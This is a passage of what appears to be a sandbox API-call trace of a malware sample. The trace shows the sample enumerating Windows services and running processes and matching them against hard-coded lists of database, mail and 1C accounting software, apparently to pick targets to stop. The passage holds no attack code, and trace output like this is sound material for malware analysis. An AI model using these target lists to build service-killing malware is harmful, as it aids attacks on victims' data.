(lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0149.081] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0149.081] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0149.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0149.081] lstrlenW (lpString="BFE") returned 3 [0149.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0149.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0149.081] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0149.081] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0149.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0149.081] lstrlenW (lpString="CryptSvc") returned 8 [0149.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0149.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0149.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0149.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0149.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0149.081] lstrlenW (lpString="CscService") returned 10 [0149.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0149.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0149.081] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0149.081] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0149.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0149.081] lstrlenW (lpString="DcomLaunch") returned 10 [0149.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0149.081] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0149.081] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0149.081] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0149.081] lstrlenW (lpString="Dhcp") returned 4 [0149.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0149.081] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0149.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0149.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0149.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0149.082] lstrlenW (lpString="Dnscache") returned 8 [0149.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0149.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0149.082] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0149.082] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0149.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0149.082] lstrlenW (lpString="DPS") returned 3 [0149.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0149.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0149.082] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0149.082] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0149.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0149.082] lstrlenW (lpString="eventlog") returned 8 [0149.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0149.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0149.082] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0149.082] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0149.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0149.082] lstrlenW (lpString="EventSystem") returned 11 [0149.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0149.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0149.082] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0149.082] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0149.082] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0149.082] lstrlenW (lpString="gpsvc") returned 5 [0149.082] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0149.082] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0149.082] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0149.083] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0149.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0149.083] lstrlenW (lpString="iphlpsvc") returned 8 [0149.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0149.083] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0149.083] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0149.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0149.083] lstrlenW (lpString="LanmanServer") returned 12 [0149.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0149.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0149.083] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0149.083] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0149.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0149.083] lstrlenW (lpString="LanmanWorkstation") returned 17 [0149.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.083] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0149.083] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0149.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0149.083] lstrlenW (lpString="lmhosts") returned 7 [0149.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0149.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0149.083] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0149.083] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0149.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0149.083] lstrlenW (lpString="MMCSS") returned 5 [0149.083] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0149.083] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0149.083] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0149.083] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0149.083] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0149.084] lstrlenW (lpString="MpsSvc") returned 6 [0149.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0149.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0149.084] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0149.084] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0149.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0149.084] lstrlenW (lpString="Netman") returned 6 [0149.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0149.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0149.084] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0149.084] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0149.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0149.084] lstrlenW (lpString="netprofm") returned 8 [0149.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0149.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0149.084] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0149.084] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0149.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0149.084] lstrlenW (lpString="NlaSvc") returned 6 [0149.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0149.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0149.084] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0149.084] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0149.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0149.084] lstrlenW (lpString="nsi") returned 3 [0149.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0149.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0149.084] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0149.084] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0149.084] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0149.084] lstrlenW (lpString="PcaSvc") returned 6 [0149.084] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0149.084] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0149.085] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0149.085] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0149.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0149.085] lstrlenW (lpString="PlugPlay") returned 8 [0149.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0149.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0149.085] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0149.085] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0149.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0149.085] lstrlenW (lpString="Power") returned 5 [0149.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0149.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0149.085] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0149.085] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0149.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0149.085] lstrlenW (lpString="ProfSvc") returned 7 [0149.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0149.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0149.085] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0149.085] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0149.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0149.085] lstrlenW (lpString="RpcEptMapper") returned 12 [0149.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.085] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0149.085] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0149.085] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0149.085] lstrlenW (lpString="RpcSs") returned 5 [0149.085] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0149.085] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0149.085] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0149.086] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0149.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0149.086] lstrlenW (lpString="SamSs") returned 5 [0149.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0149.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0149.086] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0149.086] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0149.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0149.086] lstrlenW (lpString="Schedule") returned 8 [0149.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0149.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0149.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0149.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0149.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0149.086] lstrlenW (lpString="SENS") returned 4 [0149.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0149.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0149.086] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0149.086] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0149.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0149.086] lstrlenW (lpString="ShellHWDetection") returned 16 [0149.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.086] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0149.086] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0149.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0149.086] lstrlenW (lpString="Spooler") returned 7 [0149.086] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0149.086] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0149.086] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0149.086] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0149.086] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0149.086] lstrlenW (lpString="SysMain") returned 7 [0149.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0149.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0149.087] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0149.087] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0149.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0149.087] lstrlenW (lpString="Themes") returned 6 [0149.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0149.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0149.087] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0149.087] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0149.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0149.087] lstrlenW (lpString="TrkWks") returned 6 [0149.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0149.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0149.087] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0149.087] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0149.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0149.087] lstrlenW (lpString="UxSms") returned 5 [0149.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0149.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0149.087] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0149.087] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0149.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0149.087] lstrlenW (lpString="WdiServiceHost") returned 14 [0149.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0149.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0149.087] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0149.087] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0149.087] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0149.087] lstrlenW (lpString="WdiSystemHost") returned 13 [0149.087] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0149.087] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0149.088] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0149.088] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0149.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0149.088] lstrlenW (lpString="Winmgmt") returned 7 [0149.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0149.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0149.088] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0149.088] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0149.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0149.088] lstrlenW (lpString="WPDBusEnum") returned 10 [0149.088] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0149.088] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0149.088] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0149.088] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0149.088] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0149.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42ddf88 | out: hHeap=0x300000) returned 1 [0149.088] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0149.090] Process32FirstW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.090] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0149.091] lstrlenW (lpString="System") returned 6 [0149.091] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0149.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0149.091] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0149.091] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0149.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0149.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0149.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0149.091] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0149.091] lstrlenW (lpString="smss.exe") returned 8 [0149.091] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0149.091] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0149.091] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0149.091] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0149.091] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0149.091] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0149.091] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0149.092] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.092] lstrlenW (lpString="csrss.exe") returned 9 [0149.092] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.092] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.092] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.092] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.092] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.092] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.092] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.092] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0149.093] lstrlenW (lpString="wininit.exe") returned 11 [0149.093] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0149.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0149.093] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0149.093] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0149.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0149.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0149.093] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0149.093] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.093] lstrlenW (lpString="csrss.exe") returned 9 [0149.093] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.093] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.093] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.093] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.093] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.093] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.093] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.093] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0149.094] lstrlenW (lpString="winlogon.exe") returned 12 [0149.094] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0149.094] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0149.094] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0149.094] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0149.094] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0149.095] lstrlenW (lpString="services.exe") returned 12 [0149.095] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0149.095] lstrlenW (lpString="lsass.exe") returned 9 [0149.095] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0149.096] lstrlenW (lpString="lsm.exe") returned 7 [0149.096] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.096] lstrlenW (lpString="svchost.exe") returned 11 [0149.096] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.097] lstrlenW (lpString="svchost.exe") returned 11 [0149.097] Process32NextW (in: hSnapshot=0x360, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.097] lstrlenW (lpString="svchost.exe") returned 11 